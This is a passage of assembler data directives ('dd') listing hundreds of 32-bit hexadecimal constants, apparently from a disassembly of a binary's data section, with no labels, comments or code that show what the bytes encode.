		dd 7C4088DBh, 2BF7D4Fh,	66917FEFh, 0D0A06549h, 80072A23h
		dd 64C9900h, 0BD44CF59h, 2EE85Fh, 0FC2335F1h, 6E08703Ch
		dd 4A60E900h, 90C0667Fh, 0ED70C0D1h, 34ACB6CAh,	0E103F1C7h
		dd 0FD582320h, 663A72A2h, 214B08FFh, 3EEF503h, 0D08C7F1Ch
		dd 18F2A3B4h, 0B0CD737Dh, 0F0A1ECFEh, 8F04C1C0h, 20094C60h
		dd 979CBF6Fh, 3560035Dh, 0BA601ECh, 2BA1C380h, 4571A702h
		dd 60AC27F4h, 0E2D7ADCDh, 9D8300B9h, 0DDE78EDCh, 0D400DB99h
		dd 0B434BBD5h, 0BD97FBh, 0E32641C4h, 2998D9F6h,	61B6DF00h
		dd 5EE695F0h, 0E19C0001h, 9379359Ah, 7E00ACD6h,	0F282E453h
		dd 76E2A4A2h, 2575F7h, 0D084AA1Ah, 207BF40Ch, 0DC5EFE0Fh
		dd 0D49D0308h, 0A551E0ACh, 937D0E45h, 5198F441h, 3131F072h
		dd 2D71053h, 0F13A70h, 577516A8h, 890D0486h, 465C6E00h
		dd 7FE1EC0h, 39510072h,	0B4A4D0BEh, 92F8E162h, 0B342231Eh
		dd 4C0C12C2h, 88A743E9h, 276C6816h, 17C576Ah, 54C59700h
		dd 185C9EDh, 22BC23AAh,	30E384F6h, 72189F9Eh, 8C91200Dh
		dd 0BDDE0025h, 6F33642Ah, 97F8ACD5h, 0FC41C800h, 0CEE16D5Ah
		dd 93E2002Dh, 0AB7B141Ch, 52FEE078h, 404A181Fh,	0F3E34340h
		dd 0A4B5FC3h, 738E6AE7h, 0D7803D91h, 0CC719E47h, 0D274F703h
		dd 803B843Fh, 9F460B5Eh, 0B4C792h, 70032129h, 0A95287E9h
		dd 0BF5F3700h, 85352E05h, 466C1F0Ah, 2518C0AAh,	8F282DFEh
		dd 0B76E6607h, 0A207DCFh, 0BD43F0h, 0D6AFB33Eh,	7908093Dh
		dd 0B7D8E900h, 5A866293h, 0D95D00A5h, 6D7B41A4h, 2600779Bh
		dd 9CC11502h, 381714F4h, 4980FFA8h, 0A3A97B57h,	0B358DDC4h
		dd 555B00F2h, 32886B7Dh, 49930314h, 6544F1BFh, 0C4B200FFh
		dd 6F00FE51h, 0AA7D2198h, 74A90694h, 2CD90071h,	0D0CF1937h
		dd 68000C34h, 6FC74A6Ah, 9EDB31h, 650EA56Eh, 13A3B68Fh
		dd 41EAA6F8h, 0C296190Fh, 7404C0F2h, 701D0D8h, 0FBE45106h
		dd 0B36CF00Dh, 23F85209h, 5A5D4300h, 0CFB8869Fh, 9E3600EDh
		dd 0A26BBFDEh, 42005291h, 0E5ACA01Dh, 1AD0E1h, 0A8D1C098h
		dd 85BFB471h, 0ECC8DD00h, 5E0F548h, 0D5AF3070h,	77CD9838h
		dd 0C28F769h, 20942966h, 0C222A27Ah, 11094275h,	0C008AD32h
		dd 0A608D9A1h, 0A8C58880h, 6022289Eh, 4A81518Ch, 6F3DBC8Bh
		dd 3F8680A8h, 0E89B98CFh, 70A90012h, 0FF639514h, 7C70C702h
		dd 1C855E00h, 0DD2C3F6Eh, 5CDB601Fh, 4BBE38D0h,	942DC100h
		dd 0ED626125h, 0DAAD00E7h, 82D63B9Dh, 0A70191D3h, 365DF821h
		dd 0E3C02A70h, 0AA57004Fh, 0E7C490A3h, 6D00587Eh, 0AB8426C9h
		dd 0EA9A7F2Fh, 8D290003h, 42EEA0F2h, 0E0EAC1Bh,	60511628h
		dd 9AB0A2B2h, 662100D7h, 0EF690D6Bh, 0AC0F6568h, 0E1767038h
		dd 15E65DDCh, 1A55E4h, 5AFF3F3Ch, 338AA4EEh, 59DAAE1Fh
		dd 25A1BA04h, 0CA3B56C3h, 9203D50Dh, 0CE0A0D2h,	5A00C482h
		dd 8F15C072h, 11D4D19h,	28AF0514h, 8F480CF3h, 0A1072298h
		dd 0D6764E0Ah, 3EDD0030h, 0E4002FA8h, 3692CBD5h, 0E100801Fh
		dd 0F44B4409h, 72918AC4h, 0DC630015h, 1B7D3A59h, 98C127BCh
		dd 4CA2FA58h, 6D2220h, 98DFDCB5h, 9ADEB6F6h, 39A15Ch, 0BFF2D3E4h
		dd 65405Eh, 0D53D69C6h,	3A2FC8C9h, 0B4B76109h, 0AA510310h
		dd 52B2F07Ch, 5F0E0E95h, 7F020Dh, 27EEE72Dh, 0FD00BD49h
		dd 18B953A5h, 0E570E9h,	85AD0A39h, 0C0FF2D68h, 932E6B1Ch
		dd 96CDD9C0h, 73D80553h, 1A990F0Ah, 0FDE3DF97h,	77B8B5F0h
		dd 6700917Dh, 58CDC70Bh, 0A0FA123Dh, 70C16F0h, 0D81BF559h
		dd 7B50C011h, 0BF3EAA0Fh, 58A580B1h, 0C538E786h, 60810662h
		dd 70339429h, 0F900CC78h, 4F78C704h, 127B5B7h, 0CBE8595Bh
		dd 0ECE9B12Eh, 0A2585301h, 0D6EE0125h, 0B99CAA20h, 0A07F6C31h
		dd 81175496h, 5B14C90Eh, 2A59007Ch, 6AE08B8Eh, 3EF5B0E7h
		dd 989C652Dh, 3D574008h, 9C992BBh, 0BA38FB00h, 0EFE44EB7h
		dd 12F87B9Dh, 0C09AFFCBh, 5446A503h, 3CE89400h,	28DEEE86h
		dd 47DCF5B0h, 6CB030Bh,	0BA7C7897h, 9FC0B4E3h, 41002762h
		dd 0B2040A94h, 0DE1E60h, 0D08B652Ch, 7EA196E4h,	54CF3E00h
		dd 0FC35F940h, 3F710055h, 0CEE8B79Ch, 7BE8DAC8h, 0FA6E7300h
		dd 0B49502C0h
		dd 70C401D2h, 94EEA946h, 748C308Fh, 0BAF78B00h,	98B86B60h
		dd 1C4EAE2h, 0C3A541E5h, 0F8965DB6h, 8C00506Ah,	0FF75D5B5h
		dd 699222h, 85FBBA1Bh, 5424E413h, 0DD11209h, 5F005F74h
		dd 80A336A5h, 1F882D01h, 4E60E48Fh, 504560h, 3D122FB3h
		dd 0CF6A4314h, 0B4C960Bh, 526780A5h, 5512DA3h, 65C56082h
		dd 0B8F00E42h, 193C4420h, 9F07E163h, 24777503h,	0E7F081E0h
		dd 0D23A00C3h, 9479589Ah, 0CA3B76E9h, 683C80E8h, 6742BFCDh
		dd 0D414000Ch, 652EC4BEh, 3D004E05h, 74ADB282h,	489BB487h
		dd 0C51F105Dh, 355180FEh, 9F73D7Dh, 74F8C339h, 0A7CF7501h
		dd 830FE501h, 0C320824h, 799B61E8h, 4C00CE98h, 0D9121757h
		dd 0F61B15h, 7C6BC614h,	0D17AB822h, 0A3B9FC28h,	0FE17BA00h
		dd 6F884694h, 0DDF1165Ah, 4D52019Bh, 3087E77Ah,	2B0072F7h
		dd 0B978A660h, 1B1425h,	6DA34F68h, 0D4ADAF50h, 54D92F00h
		dd 0EBB86134h, 653500BBh, 0D11E37C2h, 0C9006A64h, 0CF0F3198h
		dd 24943Fh, 4479F259h, 0B2719212h, 0B8CE4200h, 0F9378B52h
		dd 7AD20113h, 0D983A33Eh, 0CD31D8EBh, 0F2090105h, 8980BB18h
		dd 11B881Fh, 5FEEFF51h,	6016A24Ah, 0F63CC0C9h, 2CAF8547h
		dd 0E1038245h, 0D0A0AC43h, 839998h, 0F2F8D6BFh,	7AE6DC97h
		dd 9E82AB03h, 0B06E8E18h, 27A6BF3Eh, 455631E7h,	0CC3C2700h
		dd 30C9985h, 0B857CE80h, 18A881FFh, 38005E4Bh, 0D36102DBh
		dd 0F439613h, 7D9A3D4Fh, 0A2485CE0h, 413856ACh,	0D79F00B5h
		dd 26E0FBC4h, 0D6EAC5h,	761D14F5h, 0F465F2B6h, 0D539E400h
		dd 0BE723CECh, 0AD161BFFh, 9F986409h, 0F6700598h, 2092F200h
		dd 0C62C5F4Eh, 643D005Ch, 0AA2FB1F8h, 470031EDh, 7B0EE380h
		dd 3A848EFh, 0C244F655h, 88F18611h, 50E87037h, 0E0EADD09h
		dd 31C580A9h, 7ADFBBBEh, 2FE0364h, 843768C2h, 87AACB90h
		dd 1163F800h, 0A4FBBD2Eh, 2B770054h, 1BBB3F35h,	0F0005FFAh
		dd 0E4B1F475h, 0C6D0Ah,	5CD855AEh, 0D04618F9h, 587C001h
		dd 0E56672B7h, 46244D0h, 7422D229h, 0E0F6C7C2h,	51ECBAAAh
		dd 87008CECh, 0F995AB23h, 811659h, 331FA5CCh, 5F2735DEh
		dd 39FFF500h, 78D2EEAAh, 30220155h, 2E65028Ah, 62AC41CBh
		dd 494A6054h, 0AC419C00h, 61486457h, 0F07EE1D2h, 8D004CD7h
		dd 1C7BDE72h, 628849h, 7E316E71h, 0D0CBDC1Dh, 0D529C803h
		dd 0E0363024h, 120912Bh, 726F530Fh, 81505975h, 0C8198978h
		dd 0B02099BDh, 126003Fh, 0EF51E0AEh, 490021D6h,	4BF3438Fh
		dd 174CBBAh, 0BD67E62Ah, 0BD37401Ch, 23E78086h,	0D9473D90h
		dd 0DF441CA9h, 53148C96h, 0A4A866BCh, 2100A254h, 0A446BE0h
		dd 738CB47h, 1557241Dh,	0F233B0F9h, 0C3000B1Bh,	9FA1551Ah
		dd 386713h, 0EA3C45A4h,	73C2DAD5h, 0ED8BB601h, 0F5D94C11h
		dd 3EBFE007h, 0B47E0953h, 0D15F2007h, 0D8904865h, 8D58EDh
		dd 90A0C19Eh, 0AA7276CEh, 5E817403h, 0C85DEE9Ch, 1CBEB57Dh
		dd 68EB4971h, 95800097h, 9EE0EFBFh, 0AB28E690h,	25009C5Eh
		dd 586B76C1h, 0C709Ch, 0FD284A84h, 9403EB10h, 0AA60FA16h
		dd 41A47F00h, 4F0EC2h, 0D045B024h, 15E9E66Bh, 0EA7A2600h
		dd 3A44D5F4h, 27E40001h, 66D89ABAh, 3100A287h, 169E68AFh
		dd 0BC61C5h, 3E1197F0h,	553AB9BAh, 1448C200h, 2941FA86h
		dd 4F650057h, 2F62AEFh,	2D1F3335h, 0C000A7A4h, 0DA40C905h
		dd 96E007EEh, 70306A0Bh, 6352B10Ch, 0D2036DFEh,	0CD562985h
		dd 3FCAF1FFh, 6E53460h,	413C8A7Bh, 0A7EED0EDh, 48DC4830h
		dd 4A101Ch, 71235C3Ah, 43015AEAh, 49D529C0h, 0A088B6A8h
		dd 1FBFD8Ch, 7018F6EEh,	6F1632B9h, 13BC09B0h, 1D8D3FE3h
		dd 0D8C4DDA8h, 3E463017h, 54414Ch, 0DF6C5AA2h, 459573h
		dd 0E41DFEFDh, 0EB17E58Eh, 3018DC30h, 6A264F8h,	6886ED15h
		dd 789820DAh, 0C37DCD0Ch, 0F4F10E6h, 0AC42134h,	1A25DEC0h
		dd 0E906F68Dh, 0B12E0DCh, 2FCC0048h, 54565A70h,	3F3C18E4h
		dd 5591004Fh, 1697A38Fh, 0B6090FBh, 0E04A2E42h,	0F8F100F5h
		dd 7888B41Ch, 0C89B18A6h, 0D9BC4C03h, 39F68700h, 88645016h
		dd 0F9860018h, 2B5D429Bh, 322E7B7Ch, 330082E9h,	53FA54C0h
		dd 633003E7h, 6CDC9C7h,	0DA8C8E0h, 66019C71h, 64620F1Dh
		dd 4760CC0Eh, 0B16B096Eh, 200C045h, 1EF39B10h, 61FCA507h
		dd 2851D776h, 0EEF005BBh, 5B8C006Ch, 0BF50947Fh, 0B7723071h
		dd 57D0C803h, 0D8CF9B0Dh, 961EDEh, 0A51AA0B4h, 322BC26Fh
		dd 0CB085001h, 2D64C145h, 71C6F8E3h, 41BE60A1h,	0D2B81FA8h
		dd 0DE07F273h, 4FF3D31Dh, 0B6558950h, 97B27h, 0D9074E92h
		dd 0AA67C66h, 0BB1F2D00h, 5EAA4D01h, 23990050h,	0A15F4329h
		dd 0B807951Bh, 7EC34CD6h, 0C0FFBBF3h, 0D876A3h,	0A4341D45h
		dd 98C04DE6h, 0E06D22CFh, 270CE735h, 0A71F0CE3h, 5E219F15h
		dd 7E78033Bh, 79572500h, 0CC8793CEh, 12E50006h,	8D599062h
		dd 0F7004C46h, 88BEAB21h, 0C00A36h, 0D66C236Bh,	0DAC5796Ah
		dd 0B186FF00h, 0A7479271h, 78557960h, 0C8DD00E0h, 3CAAB0CFh
		dd 7F77E77Eh, 17969407h, 73300DB7h, 540E6F5h, 23805EEDh
		dd 76D10367h, 38009D7Ch, 9538B501h, 3113EBh, 0F29812D3h
		dd 0D009CE6Eh, 0EEAB0700h, 6A51B0C7h, 84AD004Fh, 9EBE88F5h
		dd 111F8725h, 50C08331h, 824CF895h, 6690ABh, 74A72448h
		dd 0F9C3E6FFh, 0A3858F01h, 69CB4CD3h, 2C66C1F4h, 0A27438h
		dd 0D1EFA9A5h, 9500FCDEh, 0E2FB96ABh, 9CE5F6h, 878DD5DCh
		dd 0B69E4264h, 2A1BE603h, 0C04B958Bh, 74EA45EDh, 0B1AF0CE5h
		dd 0FD50529Ch, 0D8502707h, 0EEF0A055h, 3CC722D6h, 76800B7Bh
		dd 0A3CA3877h, 81743239h, 68D4ED50h, 0A7E31307h, 5E308837h
		dd 1CD4098Ah, 0F85D159Ah, 64DBD700h, 760127CEh,	2E1E23Fh
		dd 98C6576Fh, 43DB4097h, 42F6DFh, 7518C880h, 0C015931Bh
		dd 0F4172C00h, 0EB4E97BAh, 0B04A0758h, 50AC8D05h, 377947FCh
		dd 47A8605h, 4BC0D1C7h,	28BBF385h, 0EACA31h, 0EFBCAC97h
		dd 0FD4356F4h, 6974B2FAh, 3407542Ch, 2C826E00h,	22929Eh
		dd 7F34DA27h, 61E49FD9h, 105C0900h, 0E96D57F3h,	6E4904DBh
		dd 808FEE8Ah, 11594368h, 7D06FA64h, 0C3BDD780h,	42105849h
		dd 1C277F77h, 0C09A1A17h, 0F77A3A1Ch, 0D93DFE20h, 0BFE40043h
		dd 0AADC4768h, 0E8A5074Ah, 60C664D4h, 8D98A19Fh, 24017F3Dh
		dd 5C00AC31h, 400311E2h, 602700B9h, 0F7B5104Eh,	0C2121C41h
		dd 41CC618h, 0F03E8F01h, 1AEC7EE3h, 6F901E67h, 344287F9h
		dd 304E90F5h, 0D93AC53Dh, 0E21B00CEh, 7A84FE87h, 90EA0050h
		dd 0BE0B88F6h, 6EFC9D13h, 0ADBD200h, 0BBB60E16h, 28700798h
		dd 200DCA08h, 43BF6065h, 0FE9B5300h, 0F095878Ah, 842500EFh
		dd 7E8C8982h, 8D00EB41h, 0D2F0750h, 0D233ACh, 0CD06A297h
		dd 8F24A79Dh, 0A8F0EB00h, 49AE4A51h, 0D390912h,	0D78AC529h
		dd 85BB0032h, 0AB875AA6h, 0BD50E900h, 1D2CB998h, 9DCD4C7Bh
		dd 97A0B000h, 3F7C313Eh, 0C7E21600h, 0E7A57034h, 6D4E2C9Fh
		dd 0F838307Bh, 0C1004035h, 68CB602Dh, 0B337ACh,	84D594F5h
		dd 0EB761795h, 8CC87000h, 0ADD08A7h, 3D6E0715h,	508366B1h
		dd 0E010C72h, 0ED5080EFh, 0A47636AEh, 682700A8h, 0D869F046h
		dd 3800823Eh, 9F2B61BBh, 0C30863h, 0C6FEB20h, 0CCF62ED2h
		dd 57A9F200h, 0FF7C4E99h, 0FCD50023h, 73FD3F34h, 0C21DCA25h
		dd 8A838D11h, 0E097E381h
		dd 6F1A5Fh, 857A874Eh, 0F8D1F47Eh, 0AE102B60h, 75CCA9h
		dd 3E6B100Bh, 0A0454E68h, 0FDF600Eh, 6FDB008Dh,	72A6780Dh
		dd 0A9C100E1h, 4EDACF8Ah, 0FF1413A8h, 0F869D8h,	0D6072D06h
		dd 5198F423h, 0A080E519h, 68F1311Ah, 2B0AD56h, 0AC409600h
		dd 1DD597C3h, 8DD300FAh, 0ED24A42h, 0F6009F04h,	0E650B8B1h
		dd 0E882385h, 2BDEF46Dh, 0BB31D87h, 0A2CB1A00h,	0C20006CAh
		dd 834A0F37h, 73B4104Ch, 24B5FC62h, 80817D2h, 0C881CE80h
		dd 10039006h, 4DF0C040h, 68070F48h, 120FB81Bh, 94061669h
		dd 6E0F10D0h, 0E5BA083Ah, 0F7C0F036h, 3F1430h, 9C69FDF4h
		dd 7371CD21h, 8F37C82Ch, 9942AF01h, 0D0E0F2D9h,	441E483Dh
		dd 108C2F00h, 0B698A0C3h, 418FD100h, 913D494Ah,	0D5DE016Bh
		dd 8552C865h, 0F932F831h, 2D540609h, 77AF8273h,	0E0044383h
		dd 94A97Ah, 65B803D8h, 0E4C73D1Eh, 0B4932C00h, 0CD5E2F73h
		dd 0E88E51E2h, 1377EECh, 0BA9BEE82h, 50D9A913h,	21205ED0h
		dd 67737800h, 3482494Ch, 9BF423h, 0EF906531h, 72626C70h
		dd 0DD3B0700h, 8C6B3EBEh, 523A05D0h, 32A533h, 0DC4D8BE8h
		dd 2B00A00Ch, 803D0692h, 2827DBD1h, 6C8FECh, 61456973h
		dd 6CD3AAF1h, 0DB54A301h, 17C5E7BEh, 0FFF23283h, 0E9A8F872h
		dd 0E800B759h, 2F1B5A0Fh, 1CBFD38Dh, 40D7ECBBh,	5699D051h
		dd 0EA1442B7h, 0E17FFBh, 0E5BCF64Ah, 253E5Dh, 79139133h
		dd 2220C83h, 70361D00h,	5339D710h, 3DB60069h, 351F7861h
		dd 52F45830h, 0B48F3600h, 66EA8285h, 0A84D1DC5h, 9B378010h
		dd 2B3438F6h, 724F0500h, 0EC7C241h, 0D7FF00F5h,	2E14337Ch
		dd 2D0F1CF2h, 62ADCF5Fh, 0C0FD6123h, 4029C42Ch,	10000E53h
		dd 0DA9514A9h, 208AF9h,	3DD8D389h, 180658F3h, 0BE02B601h
		dd 2B7BD743h, 0DA67C8h,	0F8F57287h, 0FFCD0BB8h,	0E2E80807h
		dd 3242A2F1h, 381860A6h, 2B750152h, 8A50143Fh, 29D1D4FEh
		dd 0E8DE5E00h, 2501C7A5h, 21A0071Dh, 6F438ED7h,	0F88F0420h
		dd 740061DCh, 0C9789291h, 7967BB1h, 0A2D839E6h,	6FA3C37Ah
		dd 8B5572F8h, 0AB341F07h, 85736792h, 74C8C822h,	0D4F90964h
		dd 2816272Fh, 6447D500h, 33638A08h, 3E26F22Fh, 8280E8B5h
		dd 0E0B71CBh, 911D3C1Fh, 6840E0EFh, 0E5AEB462h,	0AD702630h
		dd 0F230B888h, 222E6478h, 541158h, 0A07CE786h, 51BF5Fh
		dd 17134014h, 1CD56BAEh, 70DB1E05h, 3883FBA4h, 9442C0E4h
		dd 0B25A01C4h, 0AF578066h, 643561BCh, 40F384Ch,	60EEDA54h
		dd 19454233h, 0ACE649A4h, 0D77EC307h, 271690A2h, 11004405h
		dd 68F229EBh, 437C5Dh, 38EAD04Bh, 0A8374792h, 6DAB6500h
		dd 50A282C0h, 0D3A90015h, 54162841h, 121DD299h,	0DC0E6832h
		dd 3073007Eh, 7C5A0Eh, 17234AD0h, 0BF49CD63h, 6AA41503h
		dd 0B0D2A66Ch, 17147993h, 0FDFCF7h, 9DE4EC00h, 833AC26Eh
		dd 44EA800Fh, 23D2123Ch, 0AF72A0Ch, 0A567399Ch,	5CE6C180h
		dd 9AA747E7h, 8CA83B00h, 0E0B7A352h, 8B280032h,	44060583h
		dd 2C003FC7h, 3CFB0D2Bh, 301BE07Dh, 194B13Bh, 3F013038h
		dd 395B16E9h, 1FF82940h, 1890DCh, 0EA0C860Dh, 0E9F60C6h
		dd 0CD980FB0h, 17BCD603h, 852B83A5h, 61648D0h, 0F41F09C0h
		dd 2807ED52h, 97D8D07Fh, 9B006140h, 1A38514Ch, 29AD3Dh
		dd 0E78CD6Ch, 0BEA5EEA6h, 0E8122C0Eh, 0FD401FCBh, 50C022BAh
		dd 0E48E3926h, 0D5F36180h, 9503A927h, 1FA4D45Ch, 0B79FD068h
		dd 0A7EB0A00h, 1F2B17D9h, 0E1CB55h, 0B56B5FB9h,	9D01C2DEh
		dd 63D29E41h, 0B7D86843h, 10C4CEF9h, 0C0A6A064h, 2530D359h
		dd 2DE0DB75h, 8151ED00h, 5C1D0E9Ch, 6D273893h, 3A75B4CCh
		dd 0B280E9EFh, 22FB15F2h, 2528EBA9h, 211B1072h,	0C0A0D305h
		dd 1D4C5354h, 65B5DFDh,	18472869h, 2E35E00h, 0D7DA1BFCh
		dd 717A0081h, 93913704h, 0FA00D622h, 0A642FB1Ah, 0ED1E2131h
		dd 0A43C1182h, 80AAB54Ah, 228B01CBh, 802B81B4h,	53B0DB58h
		dd 0DCEE07h, 9AECC94Eh,	0A48A15FDh, 401CE251h, 545C8BDCh
		dd 0ADC8B314h, 14170F0Ch, 819CC736h, 0EA14BD0h,	1C7B002Ch
		dd 0C499626Dh, 0C7F603D6h, 0C029EE1Ch, 0A243D582h, 89836097h
		dd 8CC50023h, 3B11BE2Dh, 2200C9F0h, 64F83699h, 2FD00291h
		dd 9F7CF382h, 0F76CF402h, 0CAC405Dh, 4C0E0223h,	4012663Fh
		dd 9D25DD80h, 6E002CE6h, 3346A4B0h, 0A57279h, 7DFCBD61h
		dd 71B9446Bh, 9FF04B03h, 983053E0h, 0B6A7A65h, 0AF4A841Dh
		dd 5BF3D500h, 7E00C6BDh, 88B2239Fh, 3CDAA86Ah, 0AC83F6D9h
		dd 0A28F29AEh, 72DD4801h, 761139D3h, 251F1080h,	1DF8FCB4h
		dd 8F69E93Ch, 0E7926389h, 0F1805B8Bh, 7B3B10C0h, 3DFE7FB5h
		dd 0B11E606Dh, 62AE034Eh, 480C9E82h, 0A84CE774h, 6A710793h
		dd 4086D0C4h, 0CD223361h, 0A846670Ch, 0EE0D20F1h, 35C002Bh
		dd 0B90EC626h, 9DEC4D69h, 3E98B3Eh, 0EE3C91FBh,	0A062E048h
		dd 0DDC70176h, 0BAF7A51Eh, 8588507Ah, 701CCA6h,	6528818Eh
		dd 0E870FF7Ch, 7EEE861h, 0CDA1579Eh, 0DB45A0C1h, 0D90CB911h
		dd 419D9F6Bh, 76CC1864h, 1FE3C043h, 50C6950h, 80A8F56Fh
		dd 5AD163E0h, 47CC3CC4h, 80BA1B1Dh, 74B862B6h, 0C31C3680h
		dd 60C1E141h, 65E36DEAh, 0BB91088Ch, 6403D620h,	0A2FB3A33h
		dd 0C090B2EDh, 60A9D5E9h, 0D19620F3h, 0E01D566Fh, 0BC80C05Fh
		dd 62321AEFh, 0A4BF0193h, 0FF92B896h, 0AC8080CBh, 2D7430AFh
		dd 0E25C0062h, 736E96AEh, 0C4609AF7h, 0E9DA1851h, 0D74B01C9h
		dd 0FB3B6292h, 7517D08Dh, 0C37920C1h, 7DC87AE9h, 1869B0F2h
		dd 0D1954BFEh, 0CD52BA24h, 40D80270h, 3148C3E0h, 0A785108Bh
		dd 12790341h, 5720833Ah, 29DE6FE0h, 0CC0473Dh, 0C9DBD790h
		dd 0D5201774h, 243502F9h, 9161C106h, 90A830FFh,	0BD2D20C0h
		dd 0CE25F9h, 0A7E92C33h, 42B58266h, 0FFB27203h,	0B8E07C4Bh
		dd 0BD902Fh, 6298CE0Fh,	9F57CFC0h, 836CB007h, 8430DACAh
		dd 4FA0A4h, 41374CD8h, 96FAB5C1h, 7E7290FCh, 0F7180C00h
		dd 2B160E12h, 0FBE200A3h, 715DBF27h, 0CDFC8994h, 0A530DA7Ah
		dd 0FA3AB09Dh, 38C200A8h, 7D61F8A3h, 2B16246Ah,	7F00E6CDh
		dd 973BE4C1h, 0F790B6h,	0F08058C3h, 1571D4F8h, 0A8136FF8h
		dd 0F6007D11h, 0CC53E2DDh, 383A00DFh, 14EB8733h, 4873C6C2h
		dd 27FD8900h, 3D9BF2C9h, 58081E79h, 0C9C0068h, 70551263h
		dd 0CA5FDA00h, 86E276E0h, 0FE41BD0Bh, 0DFD2C86Ch, 82079EEAh
		dd 43DA3DA9h, 5B564030h, 5C420029h, 8CFF3A8Fh, 2C3AAB1Eh
		dd 2658544h, 0D980BD7Dh, 0D372442h, 770E9E3Ah, 461A170h
		dd 0A2E14070h, 0D4043518h, 2984CB00h, 0E810D4D9h, 0A29602B9h
		dd 1F60EA21h, 53638EE0h, 7F997600h, 2D58A1B4h, 0FD523DACh
		dd 0CD245480h, 18EDF8B8h, 0F476300h, 86EBF42Ah,	5F729Ah
		dd 0F72D55BFh, 445B346Fh, 671ED700h, 570B8723h,	0C99114F8h
		dd 0F5E320BBh, 7C1857CAh, 0FB88C2C0h, 0D3005074h, 0CCAEFE98h
		dd 48D28CC8h, 83B62205h, 598290FBh, 6D088749h, 29F4F881h
		dd 0A4B8E0h, 0A7DAAB9h,	0E1F9245h, 53F247Ch, 5D770198h
		dd 0F4B14A18h, 30AFD320h, 696016ADh, 96EECFD2h,	0F3E78F0Ch
		dd 1C3C889Eh, 68175280h, 63720D98h, 8507028h, 971B68B4h
		dd 0E020142Bh, 1A3BBA4h, 0B2853B59h, 86E8BFE4h,	24DF2661h
		dd 34AC78B1h, 20104050h, 92A42E20h, 9D12B110h, 130318A8h
		dd 66D3BA11h, 8FF5D0A8h
		dd 44973C34h, 6D094A01h, 80B4E79Ch, 0CB981F18h,	0F81DA757h
		dd 23E787Dh, 12DC46CAh,	20800C76h, 55638BA7h, 7FC55011h
		dd 4816F1h, 10792C9h, 70902B1Fh, 0D0CD35B7h, 4F008018h
		dd 0CC7454EAh, 8458BEh,	68B9D30Fh, 999D94E2h, 0F83018C0h
		dd 5C58AE15h, 2C3CE682h, 0FF8BD005h, 8020276Ch,	0B0E34E86h
		dd 0EFE0CE23h, 93E80091h, 7E8D8013h, 76390099h,	65EA1DAAh
		dd 0B125E79Fh, 60BA7894h, 0D03D8B4h, 0EF3E9C52h, 0F1AF008Fh
		dd 0C2ACA50Ch, 3E20AC9Ah, 7A11F6C8h, 1E59F246h,	0E32C8208h
		dd 47F808D2h, 0D09A20D0h, 15802010h, 27CC8566h,	4658DF40h
		dd 65608226h, 80043BF0h, 0C6FE0D09h, 648082Ah, 6586E0F6h
		dd 220290BBh, 0C88964CAh, 0DC3B1046h, 1F99D721h, 210C24E8h
		dd 67E50320h, 0F92E9D2h, 0A41140BCh, 40D8F5ABh,	122189CAh
		dd 0AD79503Ch, 18E5C0A0h, 288BFA30h, 1E49280h, 708D822Ch
		dd 0FD2935D2h, 0E8D1E051h, 6B741401h, 0C5967D8h, 4C0AF47h
		dd 9016F2E4h, 0D2661E38h, 9B2707C7h, 30DD85D1h,	5CFE6920h
		dd 0E466AF23h, 15A63C4Bh, 402E1126h, 51E3FE2h, 95F1AEFFh
		dd 1203F5Bh, 6D0BE8CFh,	405E0D77h, 0A071F710h, 75E5E8DAh
		dd 60C6230Fh, 0A1C73945h, 20A75DE0h, 46670358h,	712ADEB6h
		dd 0C4B050A9h, 6F0FD3D8h, 80CB26BAh, 0CE7F4AA3h, 0D1201978h
		dd 0F10403Ah, 8C519A02h, 213ED117h, 78C059C4h, 47AFECCEh
		dd 6368C4DCh, 6698B500h, 2A1CD5C4h, 74C3F524h, 0F88606BAh
		dd 0F0C632Dh, 0EAF49293h, 61453BA3h, 15BD1805h,	4A80F70Ah
		dd 0F0A01434h, 140C98E3h, 20AB279Eh, 134A581h, 8F840AB0h
		dd 2072866h, 50DC5316h,	423E2954h, 0C00DEABh, 7240C33Fh
		dd 653B1134h, 2A27A18Fh, 160A010Ah, 5DF4E591h, 1729405Eh
		dd 620C6760h, 0C03B9338h, 5860C198h, 0FF1F2E17h, 0D9D28791h
		dd 5DFDE010h, 7B0E3CE9h, 69C898F2h, 6D5601B5h, 188AC4A0h
		dd 0C4209218h, 769A4141h, 25006608h, 0E90093C4h, 0ABF1144h
		dd 8F64A3h, 1F577F3Dh, 9880D7FAh, 9791330Ch, 703A18C6h
		dd 526F1F93h, 46720FBDh, 0FD8FF10Fh, 1F3E2015h,	2A95CC80h
		dd 356E5B4Dh, 682F321Fh, 0AB404700h, 0F8366F0Fh, 7C437812h
		dd 358C1DACh, 3C65C4E5h, 25234168h, 840AFC77h, 39382170h
		dd 29E3F610h, 3B4324A8h, 6F8C681h, 0C08F0AE4h, 0F5EAE090h
		dd 0A1DC42CDh, 20E2174h, 55F2DAC0h, 78443E6Fh, 0C5AD10A2h
		dd 0AFB00029h, 8F2EDF03h, 0B2EA8Bh, 0F873BA1h, 1EC5DDE1h
		dd 41D401Fh, 0EBA8B700h, 1E25B932h, 2A4BFE6h, 2677C5D2h
		dd 83C6D30h, 0E6DD599Eh, 42CE4454h, 216024F6h, 0A9F83628h
		dd 3CFCE6F1h, 661D71B1h, 0C1A05C41h, 0A8EF74BFh, 80D8BC21h
		dd 699B9345h, 7846751Fh, 2C161E9Dh, 20F2155Fh, 0E0416200h
		dd 77D36924h, 0F01A908Fh, 5704FECEh, 4E8840EDh,	1CE84980h
		dd 366EC3h, 0F66FF423h,	0B89801A8h, 28022503h, 80C27AD2h
		dd 60443836h, 2EBC18C5h, 84A0EC55h, 9F789335h, 7D1D0E05h
		dd 203038B1h, 0FF8AB650h, 1C509D0Ah, 9BE954E3h,	0A8A0AE0h
		dd 805E5840h, 2113D911h, 116E6F2h, 542327F6h, 1F35FFB5h
		dd 406C4221h, 4257F82Dh, 0B8DEA275h, 4277C40h, 80E2D6Ch
		dd 0A5F67C37h, 60AC8120h, 1F36DBCEh, 87601A2Bh,	775E2794h
		dd 0F120FA4Ah, 4E04F92h, 0BE157385h, 20EE2B2Ah,	45279EBEh
		dd 35770344h, 0A1ED877Ch, 5E002010h, 31CCBC27h,	0EA4585A9h
		dd 14404076h, 80EC43EDh, 1D5246ACh, 6D638120h, 880AD780h
		dd 27865822h, 9271CF08h, 3E485419h, 2B76F040h, 20EC57EDh
		dd 28D8D285h, 3E246B60h, 0F256608Ah, 120A5D9h, 92007F8h
		dd 2A211F37h, 0EB028068h, 15BEAA43h, 201CFA0Ah,	52187150h
		dd 56B2A0C0h, 6F2EC09Eh, 20230FFCh, 181F2C6h, 0AE4127C4h
